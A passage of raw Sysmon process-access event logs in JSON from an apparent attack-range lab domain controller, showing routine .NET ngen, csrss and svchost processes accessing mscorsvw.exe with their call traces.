C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-00103E070A00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6803,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.072\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001010ED0A00}\r\nTargetProcessId: 4152\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.072","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001010ED0A00}","TargetProcessId":"4152","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6804,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001010ED0A00}\r\nTargetProcessId: 4152\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001010ED0A00}","TargetProcessId":"4152","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6805,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.089\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001010ED0A00}\r\nTargetProcessId: 4152\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.089","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001010ED0A00}","TargetProcessId":"4152","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6806,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.150\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-00104EF00A00}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.150","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-00104EF00A00}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6807,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.168\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-00104EF00A00}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.168","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-00104EF00A00}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6808,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.182\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-00104EF00A00}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.182","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-00104EF00A00}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6809,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.229\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001066F30A00}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.229","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001066F30A00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d8